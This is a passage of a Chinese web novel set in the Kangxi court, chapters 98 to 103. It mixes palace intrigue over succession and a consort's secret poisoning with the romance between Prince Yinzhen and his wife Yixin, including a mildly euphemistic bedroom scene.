乌朗罕济尔默氏更是不耐烦,这是闹什么?年氏在乾清宫出来,没两三个时辰便开始传太医,怎么着,她又想给谁添晦气? “啊…啊…” 内室里,年枝大汗淋漓,咬牙抓着被衾,眼前模糊一片,明明看着丫鬟嬷嬷进进出出,却总是重复那个人的背影。 活着就行,不用活的太好。 半个时辰前,是谁在她耳边说了这句话? “我们家侧福晋这是怎么了?”素燕焦急询问太医。 血堪堪止住。 太医隐晦摇了摇头。 素燕见状,极有眼色引着太医往外走,再次轻声问询。 “侧福晋急火攻心造成大出血,怕是子嗣无望了,将来怕是要病弱缠身。”太医拱了拱手,离开寝殿,准备再向皇长孙禀告一番。 素燕僵在原处。 子嗣无望。 病弱缠身。 加之侧福晋肆意妄为,惦念雍亲王,不屑与皇长孙圆房。 这毓庆宫的日子,倒真是虱子多了不怕痒。 毓庆宫闹得动静极大,因着年羹尧的缘故,太子和太子妃甚至亲临侨光苑。 得知年氏不能育有子嗣,太子第一反应便是阴谋论。 他和年羹尧正是需要更多捆绑的时候,年氏子嗣无望,年羹尧怎会为东宫尽心尽力。 年羹尧迫切肩担年氏门楣,需要一个流淌着年氏和爱新觉罗氏血液的子嗣来撑着他铤而走险,挣个从龙之功。 谁在从中作梗? “年氏为何会如此?”太子沉声问。 乌朗罕济尔默氏瞥一眼身侧的乌吉娜,乌吉娜恭敬行礼,回禀说:“回太子爷,年侧福晋今日跟随福晋去乾清宫给万岁爷请安,不知怎么的,回来便传出这般消息。” 乾清宫。 又是乾清宫。 太子环视四周,侨光苑人并不算多,“今日之事,孤不想在外听到一个字,年氏,只是被皇阿玛感染了风寒,封了侨光苑,让年氏静养吧。” “儿臣明白。”弘皙弯腰行礼,见阿玛神色阴鸷,示意福晋和莫雅琪退下。 这个消息不能传出去。 他亦知阿玛谋划,阿玛需要年羹尧的兵权,不然他也不会容忍年枝在他的后院兴风作浪。 春寒料峭,太子走在前面,太子妃瓜尔佳氏和弘皙一左一右跟着太子往正院方向走。 太子妃瓜尔佳氏如今掌管着康熙的后宫,当然,她完全清楚太子和康熙势如水火的情况。 “这件事,乾清宫参与多少呢?太医怎么说。”太子背着手,抬眸看着冷冽的孤月。 弘皙一顿,“太医私下里跟儿臣禀报,年氏身子早先用过猛药。” “孤不管你用什么手段,让年氏有个孩子。” 瓜尔佳氏柳眉紧锁,太子爷如今情绪愈发偏执了,稍有些风吹草动,便揣测是万岁爷所为。 孰真孰假,她也看不清了。 毓庆宫的兵荒马乱很快被遮掩得风平浪静,仪欣这边只有辗转反侧的份。 她睡不着。 今日收到王爷的回信,只有寥寥几语。 ——字有进步,莫要深夜秉烛写信,听话。 就没了。 她说了一箩筐话,王爷就回了几个字!!! 仪欣吸了吸鼻尖,粉黛慵妆坐在桌案前,嗅了嗅残留的墨香,狐狸眼里清澈透亮,痴痴弯了弯眼睛,王爷这字还怪好看的。 胤禛:…… 吾之妻私吾。 仪欣确实只看自己喜欢看的,她只关注“字有进步”这个夸奖,笔耕不辍继续伏案写信。 “王爷,我明日要和八福晋还有参与城南施善的福晋们一同去甘露寺上香祈福。皇阿玛的匾额真好用,如今各府送来的善款多得花不完!” “王爷,我要给你求一个最好的平安符。” “王爷,我也给皇阿玛求个平安符吧,让他早日康复。” “王爷,我在甘露寺停留两日,回来可以见到你吗?” “王爷,我今天读了你的一本策论,有个问题搞不清楚……” “王爷……” “王爷,今日比昨日还要想你。” 第99章父子隔阂 半夜三更,胤禛沐浴更衣后回到偏殿,坐在桌案前读仪欣写的信。 “四哥,你半夜怎么还没睡呢?” 老十四大大咧咧坐在胤禛对面,他仍穿着白日常服,显然是没准备睡觉。 胤禛随手拿过来一本书盖在信纸上,淡淡回复:“本王在看你四嫂写的信,你又是为什么呢?” 老十四沉默一下。 哦,看信。 一日不见,还要写信。 他显然没忘记自己来做什么的,若有若无提起老八赔偿那四百万两白银的事,试探究竟是不是四哥和太子在背后动手。 如今十哥和九哥闹别扭,十哥指责八哥,八哥仿佛有口难言,九哥就一口咬定跟四哥还有太子脱不了干系。 四百万两白银可不是小数目,他还想接手八哥九哥的人脉,总不能让他们名声完全臭了。 “四哥,我觉得八哥那四百万两白银的事有蹊跷。” “哦?那你说吧,哪里蹊跷?” 老十四一顿,笑着说,“只是直觉,四哥常年在户部,又替皇阿玛收缴了九哥私产,不知是否察觉不妥?” “都是下面人在办事罢了,本王又没想过老九能有千万两白银。” 胤禛云淡风轻笑了笑,手指敲击桌面,边有一搭没一搭陪老十四聊天。 蠢货,有猜测就要自己去查,来试探他做什么?他吐出一个字的实话,那都算他不行。 老十四忍不住瞥向仪欣写的信,他看不清内容,只看到桌案上厚厚一摞,四哥能看完这张翻那张。 她写这么多做什么? 胤禛抬眼看向愣神的老十四,随口说:“时辰不早了,回吧。” 老十四满脑子回忆着自己和富察仪欣为数不多的几次见面,听到胤禛的话,脱口而出,问道:“四哥,你对多尔衮和孝庄太后的事怎么看?” 胤禛缓缓抬起身子,瞥到右手边燃得正旺的烛火,蜷缩一下手指,克制着没将蜡油泼到对面人身上。 “你想说什么?”胤禛倚着椅背,抱胸缓缓压低唇角,“再敢露这样的心思,本王就活剐了你。” 老十四几乎是落荒而逃。 第二日。 胤禛收到仪欣新送进宫来的信,又是厚厚一摞。 看到她要去甘露寺祈福,胤禛有些不放心,看到她在信上写的一些安排,又松口气。 参与城南施善的福晋中,她身份地位最高,家世也最好,不会受委屈。 她和八福晋安排的祈福事宜也妥当,总归是要联络上三旗福晋,她需要去做自己的事情。 接下来的几日,胤禛在宫中和老十四抬头不见低头见,老十四沉默占大多数。 年枝之事,太子纵使有猜测,也想有实打实的证据来验证猜测,当即派人探听当日乾清宫之事,再三去查年枝体内猛药的来源。 党争如此激烈,他是太子啊,他不能没有自己的人脉。 皇阿玛何至于如此容不下他? 深夜,乾清宫。 康熙丹凤眼内看不清什么情绪,对着身边一个不起眼的小太监沉声问:“太子果然在探听乾清宫内诸事吗?” “回万岁爷,确实是毓庆宫的人。”小太监低声开口,补充说,“奴才都处理掉了。” 康熙无情闭了闭眼,冷笑说:“朕还没死,他就这般按耐不住。” 他已经又给了胤礽一次机会,复立他为太子,他还想如何? 小太监不做声,只沉默隐在暗处。 太子初次被废便是十八阿哥胤衸病危期间,康熙忧心如焚,而胤礽作为兄长却是一派漠不关心的冷漠态度,康熙痛斥胤礽“绝无忠爱君父之念”。 更深层的原因则源于胤礽长期结党营私,其核心党羽索额图虽已被诛杀数年,但太子的势力仍未彻底铲除,反而在暗中积聚,康熙在旅途中不断收到太子一党“潜通消息”“窥伺朕躬”的密报。 尤其惊惧的是发现胤礽每夜逼近皇帝御帐“裂缝向内窥视”,这一行为在高度警惕的康熙看来已与弑君谋逆无异。 世间诸事,向来便是没有真相,只有视角。 一句话来说,太子明明在查年枝的事,觉得是康熙看不惯他拉拢年羹尧,才动的手。 康熙以为太子窥探帝踪,巴不得取而代之。 太子和康熙隔着万水千山的差错,注定没有聆听真相的机会。 “梁九功,将老四唤来。”康熙喘着粗气,由小太监慢慢扶着躺到床榻。 胤禛在偏殿仍未眠,披着外衣阔步走到乾清宫寝殿,温声问:“阿玛,您可是身体不适吗?” 康熙漆黑的眸子注视着胤禛,朝他招招手,“来,陪朕坐一会。” 胤禛弯唇,温顺坐在床榻边的圆凳上,“好啊。” 康熙语气怀念,提起年轻时候的旧事。 胤禛偶尔附和一句,任由康熙追忆。 康熙养了七八天了,本就不是什么严重的病,也是大好了。 胤禛察觉到康熙困倦又颇为狠厉的情绪,逾矩地握住康熙的手,“阿玛,您尚未康复,儿子在这里陪着您,您睡一会儿吧。” 这段日子,胤禛不假人手照顾康熙,康熙习惯了胤禛的身体接触,此时没那么抵触。 皇帝嘛,最擅长的便是找替身,这个儿子不听话,自然迫切想找个听话懂事的来代替。 最信任的儿子可以源源不断更替,只有权力才是寸土不让的东西。 “胤禔幼时养在大臣府中,除了胤礽之外,朕最常教导你。”康熙的声音很轻。 胤禛攥紧康熙的手,略带哽咽说:“皇额娘去了,儿子只有阿玛了。” 康熙一愣,想起表妹孝懿皇后,孝懿替他养过很多孩子,只有胤禛是在她膝下长到十一岁的。 她临走之前,也最放心不下胤禛,本来为胤禛订下费扬古的嫡女为妻。 可那时胤禛抵触女子,更是不愿娶年仅十岁的乌拉那拉氏过府,他以为来日方长,便由着胤禛去了。 他去岁还有耳闻,那乌拉那拉氏嫁到了乌雅氏,膝下有了一个康健的阿哥,日子圆满。 只有胤禛去岁才刚娶了福晋,如今膝下空虚,子嗣更是没影的事情。 康熙回神,冷不丁地问:“吾儿,你想不想将玉碟记到你皇额娘名下?” 第100章小夫妻团聚 “她最疼你,生前便跟朕提过此事。” 孝懿想让胤禛做她的儿子。 只是,他当时诸多顾虑,为了给胤礽铺路,也为了朝局稳定,他不能让朝堂有两名中宫嫡子。 “儿子全凭阿玛做主。”胤禛左手忍不住捻了捻佛珠。 那种猖狂谋权夺势疯魔的感觉,又滋啦滋啦撕扯着他的神经。 胤禛守了康熙一整夜。 他沉默听着康熙慈爱唤着“保成…保成…” 后来,康熙又在梦里用呵斥着痛批,“胤礽…生而克母…不忠不孝之徒…愧对朕含辛茹苦的教导…” 日有所思,夜有所梦。 胤禛好似一棵病树枯木,泡在泥泞的雨水里,他听着康熙或怨怼或慈爱地喊太子,说不清什么思绪,只是觉得康熙攥得他的手很疼。 … 仪欣跟姚虞在甘露寺足足待了五日。 和上三旗的福晋们共同为百姓祈福过后,一同用了斋饭,商讨一下城南施善新一年的章程,仪欣便派王府侍卫护送她们回去了。 她留下等着姚虞虔诚斋戒三日,拜佛求子。 回京后,在王府休整一日,仪欣便主动递牌子入宫给德妃请安。 她今晨起得格外早,精心打扮的粉黛娇妆,明眸善睐,瑰姿艳逸,雀跃踩着花盆底,葳蕤入宫。 仪欣进宫带了一包袱平安符,她替王爷求了五六个平安符,有的保岁岁平安,有的保财运亨通,有的保政事清明,好像还有保佑头脑聪慧的。 不管了,反正她捐了足足的香火钱,总之,各路神仙都保佑王爷就对了。 她还给皇阿玛、贵妃、德妃一并求了个平安符,不患寡而患不均,给谁不给谁都不合适,索性就多磕了两个头。 替阿玛额娘哥哥姐姐们求的一摞平安符放在府中。 “万岁爷,雍亲王福晋前来请安。”梁九功小跑着进到寝殿里,含笑对着胤禛哈腰。 胤禛垂眸,隐晦勾了勾唇角,她怎么才回来。 “哦?来了?”康熙兴味看一眼胤禛,“扶朕去外殿花厅坐着吧。” 仪欣由小太监殷勤引着进入乾清宫正殿,她穿着一身橘红色旗装,大片绣球花随着花盆底轻踏,一步一移,翩然葳蕤好似迎风盛开。 她大大方方跪地行大礼,一副秋水剪瞳乌润润看向胤禛。 “儿臣给皇阿玛请安,皇阿玛万福金安!” “起来吧,赐坐。”康熙慈爱道,看一眼梁九功。 梁九功极有眼色将圆凳摆在了雍亲王身侧,胤禛顺手牵着仪欣的手,搭在自己腿上。 “这几日甘露寺之行,可还好吗?”胤禛温声问。 “去甘露寺了?”康熙问。 仪欣笑着点头,松开胤禛的手,翻了翻荷包,双手捧着一枚平安符,轻声软语说:“皇阿玛,这是儿臣为您求的平安符,愿您岁岁康健。” 梁九功恭敬接过仪欣手中的平安符,呈给康熙。 康熙一愣,带着玉扳指的拇指摸索一下颇为精致的平安符,不自在轻咳两声:“你有心了。” “皇阿玛,儿臣斗胆亲笔写了您的年号和乾清宫的位置。”仪欣脆声说。 她总不可能写皇阿玛的名讳和生辰八字。 康熙乐呵呵摆摆手,有这个心便不错,他平安符看了眼仪欣的字迹,一愣,咂摸半晌看向胤禛,诧异说,“这行楷跟他五六岁时写得像极了。” 胤禛闷闷笑出声来。 仪欣:“?” 仪欣瞪圆了眼睛,嗫嚅着樱唇,噎了半晌没说出话来。 康熙反应过来话不好听,轻咳找补说:“胤禛幼时便写得一手好字。” 仪欣闻言晃晃胤禛的手腕,与有荣焉扬了扬下巴,娇憨笑说:“王爷的字就是很漂亮,儿臣的字也是王爷教的。” 胤禛偏头专心看着她,轻轻拨弄仪欣腕间的佛珠,心里轻声重复,她怎么能这么可爱呢? 康熙非常高兴,赏了仪欣不少好东西,格外赏赐了一斛品相极佳,超越规制的东珠。 “便是嘉奖你城南施善,一心为民吧。”康熙笑着说。 “多谢皇阿玛。”胤禛和仪欣一同起身谢恩。 乾清宫正殿内气氛和乐,一扫康熙生病的颓丧气,倒是有些春日新生的喜悦。 连乾清宫的奴才事后私下里也感激又感慨,雍亲王福晋真是个妙人。 略坐一会儿,康熙眯着眼摆摆手,对胤禛说,“先下去吧,让老十四来伺候即可。” 胤禛牵着仪欣来到偏殿,眸中含笑,轻轻看着她,视线像是羽毛落在仪欣眼睑下。 她轻轻眨了眨眼,下一秒便被拉到一个炽热的怀里,胤禛周身气息严丝合缝笼罩她。 “王爷…” “乖,本王身上有不该有的气味吗?”胤禛揶揄问,唇角轻轻碰一下她的发顶。 仪欣认真吸了吸鼻尖,从他的胸膛慢慢往上嗅,小狗似的雀跃盈纳王爷的气息,重重啄一下胤禛弯起的唇角。 “检查完毕,没有不合时宜的气味!”仪欣黏人环上他的腰,朗声说。 “这几日仪欣一人在府中,辛苦了。”胤禛喟叹一声,抱起她坐到床榻上。 “王爷,我想你。”仪欣哽咽一声,她就是辛苦了,她晚上睡不好,半夜醒来后腰冰凉,缩成一团埋在被衾里都捂不暖。 “本王在呢。”胤禛抬起她的下巴,拇指温柔拭掉她的口脂,低头吻了上去。 … 仪欣坐在回府的马车上时,整个人窝在软绵绵的情绪里。 她眼巴巴看着身侧的男人,觉得怎么蹭都不能舒缓她心中的雀跃。 万岁爷可算把王爷还给她了。 胤禛被她看得意动,抬手遮住她过分明亮的眼眸,轻叹一声:“安生坐着。” “王爷,我有一箩筐的话要跟你说。”仪欣挽着胤禛的胳膊,跟他十指紧扣。 胤禛闷闷笑,“那一箩筐的话不是写信送进宫了吗?” 仪欣不悦轻哼:“王爷还说呢,我写了那么多字,你只回了两句话。” 胤禛无奈,拍一下她的脑门,“本王怕长篇大论回你,你又要长篇大论回信,秉烛写信,多伤眼睛。” 谁知,他寥寥几句亦不耽误她继续长篇大论。 仪欣瞅他一眼,不买账。 胤禛弯了弯唇,“好了,本王给你逐一回信了,等回府拿给你。” “哇——王爷,那你晚上睡前读给我听吧。”仪欣尾音上挑,犹如柳叶落在湖面打着转儿。 “不行。”胤禛果断拒绝。 “求求王爷,可以吗?”仪欣撒娇。 “那也不行。”胤禛抬手捂住她的嘴巴。 自己读自己的信,这感觉太奇怪了。 第101章你喜欢小孩子吗 两人在宫中陪康熙已经用过晚膳,回到雍亲王府沐浴更衣过后,仪欣在胤禛身上便不愿下来了。 “这是我给王爷求的平安符。”仪欣捧着一大把平安符,眼睛亮晶晶看向胤禛。 胤禛第一反应是沉默,垂着眼吻了吻她的鼻尖,双手接过平安符,“这得跪多久才求来这么多?” 他握住仪欣的脚踝便要去检查她的膝盖,仍是白白嫩嫩的,没有淤青。 “王爷,我去甘露寺早早准备了护膝呢!只是象征性拜了拜。” 仪欣挑眉得意看他,她可不会折腾自己的身子跪坐佛前,平安符只是图个好意头,那得她先平安才行啊。 香火钱到位便可以了,神明博爱,怎么会苛责她戴护膝呢? “哦~护膝啊~”胤禛若有所指弯了弯唇,目光扫过她狡黠漂亮的眉眼。 仪欣猫猫得意点头,“对啊对啊。” 说到拜佛之事,她有些蹙眉,姚虞姐姐在佛前实打实跪了三日求子,她不会泼冷水,生儿育女的事情了解的也不多,只能陪着姚虞姐姐在甘露寺多留几日。 她尚未想过生育之事,却也不免为之动容。 刚成亲时,她暗戳戳跟太医询问过王爷的身体,得到的是一切无恙的说法,并且,她亲身体验就知道王爷很行,从前的传言就是人云亦云。 “王爷,你喜欢小孩子吗?”仪欣问。 胤禛正揽着她拿出昨夜写的信,闻言随口问:“哪个?你吗?” 你这只小孩子吗? “啊?”仪欣愣了,后面的话怎么都说不出口,纳闷指了指自己的脸,我????? 胤禛反应过来,抬眼缓缓扫过她,抿着唇掩不住揶揄的笑意,然后又垂下眼去勾唇笑,佛珠掠过手腕突出的骨节,格外意味不明。 仪欣耳尖漫上粉红,恼羞成怒就要从他怀里冲出去,王爷他他他!他肯定没想清白的事! “欸?仪欣跑什么呢?”胤禛薅住她的寝衣,拦腰搂在怀里。 “你不正经。” “福晋怎么总是冤枉本王?哪里不正经?”胤禛低头埋在她的颈窝里吸了两口,细细碎碎的吻落到仪欣的脸蛋上。 “王爷,我在很认真跟你说话。”仪欣转身跨坐在他的怀里,气鼓鼓看着他。 胤禛倚着床头,勾唇笑着看她,回忆起她的问题,他喜不喜欢孩子? “喜欢啊。”他的声音温缓又略带低哑,他没回答过心爱之人这个问题,又不清楚她爱听什么答案,只能估摸着说。 其实,他根本不喜欢小孩。 他对孩子的清冷薄情,大抵是上梁不正下梁歪,只有需要,没有喜爱。 仪欣霎时有点小纠结。 她虽然没想过做额娘的事情,但是她也很喜欢小孩子,有小孩子肯定是一件特别幸福的事。 成亲前有教人事的嬷嬷,她虽然当时马马虎虎学习,但也知道怎么生孩子。 “又琢磨什么呢?”胤禛看着她思考的模样,觉得很是有趣。 “我在想…”仪欣压低声音,蹭着趴到他耳边,颇为鬼鬼祟祟低声说,“王爷,咱们俩究竟是谁不能生啊?” 胤禛:“……” “你怎么会这么想?” 仪欣生如蚊蝇,软绵绵的手压在他的胸膛上,声音又娇又轻,凑在他耳边咽了咽口水:“明明都.…做过好几次了…” 她的呼吸比她的声音还重。 “仪欣…应该是次数不够多…”胤禛有些哑,游刃有余拨弄着手腕间的佛珠,漆黑的桃花眼愈发幽深,手臂在她的腰肢上缠得更紧了,“或者,是本王的问题。” 太久没做了。 又是小别胜新婚。 她还偏要讨论子嗣的事情。 她想的是肉乎乎的小孩子,他想的就根本没有“乎乎”二字。 仪欣倏地抱着胤禛,觉得不该拿这个话题戳王爷心窝,绞尽脑汁磕磕绊绊说,“王爷,你的问…我根本不喜欢小孩子,这样我就…王爷就最疼我。” 胤禛胸膛震颤,轻轻笑出声来,半晌笑叹一句:“不管有谁,本王都最疼你。” 仪欣弯了弯眼睛。 “王爷,好多话要讲,我都没来得及读你的回信呢。”仪欣伸手去抓那一沓纸。 胤禛长臂将信纸扔远,握着她的手放到另一个地方,“小乖…帮帮本王…” 不知怎得,仪欣青涩紧张起来,胡乱点了点头,一股脑扎到被衾里,葱白的指尖若有若无勾着胤禛的寝衣扯了扯。 似乎在说,王爷,你来做。 胤禛抿唇笑,单手解落床幔,另一只手钻进被衾里摸了摸她的后腰,并不算凉。 “若是身子不舒服,随时叫我停下,好不好?”胤禛把一团拢到怀里,安抚啄吻她的侧脸和耳后。 “好…” 仪欣身子软绵绵的,她连寝衣解落都未曾觉察,只抱着胤禛的手臂任由自己晕乎乎的。 她觉得“好不好”“可不可以”这几个字太微妙了,总带着些试探的甜,好似王爷揣着颗蜜饯在手心晃,又总是引导着她扑蝴蝶般抓住心里渴望的念头,她就吃这一套,呜呜呜呜她只会好好好。 “王爷…亲亲我吧。”仪欣黏人撒娇,乌润润的眸子向上面的男人露出渴望。 胤禛粗/喘低头亲她,任由自己难/捱,先将她抱到安抚温软下来。 “王爷…王爷…”仪欣不自觉呢喃。 胤禛怕她不舒服,只能耐心安抚她,不敢有丝毫动作。 此时听她软糯糯哼唧着喊他,他听到理智决堤的声音,哑着嗓子说,“仪欣…先别说话…等等…” 仪欣沉默一下。 只把头埋在他的颈窝里,在他的锁骨上恶狠狠咬一口。 “嘶——”胤禛闷吭,拍一下她的屁股,慢慢托/起她。 “唔……”仪欣忍不住咬得重一些,唇角溢出痛呼。 胤禛怕她难受,毕竟太久没做,听着她的声音以为她不适,偏头吐口气,咬牙退/了出来。 “改日。”胤禛低头去吻她的额头,抱紧她要去拿信,“先…先看回信吧。” 胤禛还没拿到信纸,只感觉胸膛湿润一片,他浑身僵住,慌乱查看,“怎么了?是不是难受了?” 仪欣胡乱抹着脸上的眼泪,小珍珠顺着白皙的脸蛋落到下巴,眼睛鼻尖全都红了。 第102章马上就会知道了 “王爷是不是根本不喜欢我,是不是觉得我很黏人,是不是不喜欢这样。” “不然为什么推三阻四的,你刚刚还不让我说话,也不叫我小乖,你为什么要这样?” “王爷…” 反正他不好。 仪欣在心里委屈巴巴缩成一团,明明他和她分开好几日呢,她想亲近他,想抱着他不分开。 “………”胤禛失语。 他把人抱到身上,检查她没问题,沉默一瞬,嗓音暗哑低沉开口:“我只是舍不得你不舒服。” 仪欣把眼泪一股脑擦到他的寝衣上,气鼓鼓推他的胸膛,“根本不是,就是不喜欢我。” 其实没有,她清楚的感觉到他好喜欢她的。 虽然他不说爱,但是她又不傻,她手心摸到他的心跳,震耳欲聋,好似能在倾盆大雨的夜里也能清晰可闻。 只不过,这时候她就是想没事找事。 仪欣也觉得好奇怪,她就是娇气爱跟他撒娇,就是时不时要他哄着,就是知道她掉眼泪他就会好心疼。 胤禛无奈摸了摸她毛茸茸的脑袋,垂眼观察她的情绪,小声说,“哦,本王喜欢谁,谁清楚。” 他一直觉得有些事情不用挂在口头上,她肯定能感觉到,如果她质疑爱是否存在,只能说他做得少。 仪欣瞅他一眼,别扭转了目光,故意不看他。 胤禛双手捧着她的脸,拇指抹掉她的眼泪,想了一会儿,也是气笑了。 “怎么脾气这么大,一不留神把自己气哭了,没出息。” 怪不得刚刚咬他格外疼。 仪欣炸毛,若不是胤禛抱得紧,此时已经冲到床榻下面站着目光炯炯看着他了。 “咳…脾气不大。”胤禛轻哄,抱着她晃了晃。 仪欣不理。 “小乖,嗯?谁是小乖呢?” 仪欣不理,又别扭指了指自己。 胤禛闷闷笑,太可爱了,生气也可爱,怎么样都可爱,生气起来跟软腾腾包子一样,冒着憨乎乎的热气。 “我没有不想跟小乖亲近。”胤禛无奈解释。 她说他清心寡欲,这真的最冤枉。 仪欣直勾勾盯着他,虎头虎脑故意问:“那王爷你是珍珍吗?” 胤禛闭了闭眼。 又闹人,真是惯坏了。 他不想回答,仪欣圆滚滚手指戳戳他的腰。 胤禛声音极轻“嗯”了一声,转而便听到仪欣痴痴笑,像是占了什么大便宜,他睨她一眼,缓缓弯了弯唇。 冤家。 胤禛的手臂再次摸到她的后腰,把人划拉到怀里,轻轻吻着她的耳后,低声叹道,“不舒服要直说,可以吗?” 仪欣的脑袋软绵绵搭到他的肩膀上,轻轻舔一下他的锁骨,嘟囔着说,“王爷怎么又问一遍。” 胤禛轻笑,没有犹犹豫豫。 “唔…王爷…”仪欣猫儿似的眯眼。 胤禛哑声拍了拍她的大腿,“别这样,小乖。” “难受吗?” “不…有点奇怪…”仪欣茫然晃了晃脑袋,本能般追吻他的唇角。 胤禛看到她想亲亲的渴望,一只手托起她的脑袋,缓缓低头吻上她的唇。 仪欣桃腮晕着绯红,杏眸含露半眯着,薄薄的水雾打湿了眼睫,沾着水雾的浓密眼睫轻颤着。 “真乖。”胤禛缓缓吐气,怎么养的呢,她什么事上都爱听表扬。 “好…”仪欣把胤禛摘到一旁的佛珠攥在手心里,话音刚落哼唧一声。 “王爷…喜欢你…” “嗯,还有呢?”胤禛轻笑。 仪欣脑袋里乱七八糟的,看着王爷就觉得他好香,什么话都说不出来,挣扎着仰头嗷呜舔了舔他的喉结。 半晌。 “乖乖,怎么抖/这么厉害?”胤禛揶揄开口,捏着她的后颈,不曾因发抖改变。 “不知道…” 胤禛若有所指勾唇笑,手掌捂在她的小腹上。 “没事,马上就会知道了。” 马上。 仪欣扎在胤禛怀里红得跟桃子似的,胤禛抱着她去沐浴清洗,她也一言不发。 能不能让她直接睡着算了。 胤禛把暖烘烘的一团重新塞到被衾里,温热干燥的手掌平稳的安抚她的脑袋,隔几息便偏头亲亲她的额头。 “仪欣,陪本王说话。”胤禛啄吻她的耳朵。 她就今日没睡过去,必须说一会儿话再睡。 “哦,王爷我想吃个大鸡腿。” “你饿了?”胤禛语塞,看一眼刻漏。 仪欣动了动脑袋。 “这个时辰吃鸡腿太油腻了,鸡汤面和茯苓粥可以吗?”胤禛问。 “可以,但是鸡腿的话,更可以。”仪欣小声说。 胤禛:“……” 论拒绝一个人的语言艺术。 最后苏培盛端到寝殿来一碗鸡汤面,一碗山药茯苓粥和一个鸡腿。 “怎么都是一份,我都饿了,王爷肯定也饿了。”仪欣拿起鸡腿吃了两口,美滋滋发出一声喟叹。 两个人坐在美人榻上,茶案上摆着热气腾腾的膳食。 没过半刻钟,胤禛才开始吃鸡汤面,仪欣突然不喜欢吃鸡腿,反而更想喝山药茯苓粥,只剩了一点。 美滋滋接过胤禛递来的漱口茶,仪欣咕噜咕噜吐出茶水,蜷缩在他的膝头昏昏欲睡。 胤禛左臂搂着她一下下轻拍,同时吃光剩下的东西。 … 次日,胤禛醒得很晚。 如今太子监国,他打声招呼便不去御门听政了。 仪欣醒得更晚。 她前些日子都睡得不好,昨夜一夜无梦,直接睡到临近晌午。 “王爷,你怎么醒这么早?”仪欣懵懵然坐起身来,几缕头发杂乱无章翘在发顶。 胤禛守在床榻旁,无奈道,“你若是再不醒,本王就要传太医了。” 仪欣看到时辰,讪讪笑一下,轻轻啄吻他的唇角。 胤禛餍足眯了眯眼,轻声说:“本王先去前院议事,你认真用膳,信压在你的枕头下。” 待胤禛离开,仪欣咕噜一下又躺下,打算看完信再起床用膳。 前院。 “邬先生久等了。”胤禛阔步走进书房,撩袍坐到上首。 “不敢,奴才也是刚到。”邬思道拱拱手。 只有仪欣不知道他家王爷在宫中侍疾这些时日做了多少大事。 年枝的事,只有猛药是胤禛从前派人做的,但是却没有想到她会急火攻心催发猛药。 康熙和太子之间的事,胤禛只是顺手为之。 胤禛和邬思道说着近日宫内宫外发生的事情。 邬思道说:“四爷,万岁爷为何会让您提前回府,只留十四爷一人侍疾?” 胤禛扯了扯唇:“皇阿玛这是要抬举老十四呢。” 第103章小土匪。 邬思道试探着问:“四爷,可是万岁爷要重用十四阿哥吗?” 胤禛淡淡点了点头,“皇阿玛要送老十四到川陕带兵。” 倒在猜测范围内,邬思道思忖片刻。 川陕如今可是年羹尧担任川陕总督,年羹尧跟太子怎么走到一起的,他心里最清楚。 看来,万岁爷和太子之间的矛盾日渐尖锐。 如今八阿哥倒了,万岁爷不能容忍太子殿下在朝堂中一家独大。 十四阿哥被重用本来就在他和四爷预料范围之内,四爷一年前借夜闯别庄之事打压十四阿哥,让十四阿哥失了先机。 如今纵使十四阿哥得到重用,也翻不出大风浪,反倒能让四爷继续作壁上观,以待来日。 万岁爷如今身子强健,不争即是争,四爷在朝堂上已然颇为显眼,不宜再节外生枝。 邬思道温缓开口,意味深长:“怕是太子爷身边又要有一个大阿哥了。” 胤禛笑了笑,无奈看向邬思道。 “邬先生,只是如今还有旁的事,皇阿玛要改本王的玉碟。” 胤禵要成为下一个大阿哥,他怕是要成为下一个太子。 邬思道一喜又一叹,四爷改玉碟也只能记在孝懿皇后名下,刚说不宜太过显眼,这又是哪一出? “四爷,如今您和太子殿下关系正好,有个嫡子身份自然是好,可…” 胤禛笑了,捻了捻佛珠,目光凝在门衔处,开口说:“纵使没有嫡子的身份,本王也能得到自己想要的东西。” “是。”邬思道应和,又心里补充一句,您最好是有个嫡子,比您自己是嫡子重要的多。 若是寻常,包括康熙提出当夜,胤禛都是极其躁动激进的,他想要嫡子的身份,正宫嫡出,以承大统,没有任何错,纵使山遮海拦他也愿意冒险。 只是,他想到了仪欣。 从前胤禛孤身一人,须臾间可以权衡利弊去挡刀剑,谋权夺利可以刀锋舔血,冷静沉稳又不拿流血当回事。 他如今变得稳妥保守许多。 纵使胤禛机关算尽,这种出乎意料的事情发生,也有些犹豫不决。 “邬先生以为呢?”胤禛谦虚询问。 邬思道一直主张“不争即是争”,此时确实亦觉得迟疑。 胤禛等着他的答复,百无聊赖甩了甩佛珠。 “王爷,您…和福晋,究竟谁不能生呢?”邬思道客气询问。 一开始绝嗣的名声,本来就是八爷党放出来诋毁四爷的,他只知道,四爷不近女色,故而顺水推舟,拿子嗣换了朝堂权力和万岁爷的信任。 可如今…这个问题太关键了。 “……” 胤禛淡淡看一眼邬思道,说:“都能。” “只不过,本王最近两年不需要子嗣。” “王爷,那玉碟便可以改啊。”邬思道果断说。 … 不出所料,康熙病愈恢复上朝当日,在朝堂上大肆夸奖十四阿哥,直言十四阿哥素来得他宠爱,是他的爱子,连同德妃都得到了不菲的赏赐。 近日康熙将老十四带在身边,躬亲教导,朝堂上下,谁不知道十四阿哥最得圣心? “爱子爱子爱子…!” 仪欣薅下珠光宝气的护甲,扔到梳妆台上,她家王爷也为万岁爷侍疾,万岁爷怎么不夸夸王爷?王爷不值得疼爱吗? 偏心偏心偏心,心偏得没边了! 胤禛忍俊不禁,将佛经拍了拍她的脑袋,“刚打的的护甲,怎么不喜欢了?” “王爷,你不委屈吗?”仪欣直接问,“什么爱子?我就看王爷最可爱。” 胤禛伸手捏住她的下巴,弯唇晃了晃她的脑袋,“本王也觉得仪欣可爱,好了,不过是点小事。” 仪欣双腿搭到胤禛腿上,窝在他的怀里,“我真的要气死了!” “前几日定做那顶东珠头面,本王已经派人去取了。”胤禛低头亲了亲她的脑袋,“还有你夏日的衣衫,做了几十套,把这些年你错过的夏天都补回来,不生气了,嗯?” 仪欣轻哼一声,“王爷珍爱的那块紫翡还好吗?” “不太好了,已经割爱给福晋打成叮当镯了。”胤禛含笑睨她一眼。 仪欣美滋滋哼哼两声,弯了弯眼睛,“那我夏日戴着肯定好看。” “小土匪。”胤禛无奈轻啧一声。 其实玉石倒在其次,主要他书房那些舍不得用的方墨砚台都被她嚯嚯了,那些孤本时常被她随手撂在角角落落。 写着小狗爬的字,用着价值连城独一无二的笔墨纸砚,任谁都要笑骂一句暴殄天物。 “谁让王爷对我最好呢。”仪欣仰头便要亲他的唇。 胤禛无奈躲一下,“仪欣刚画了口脂。” 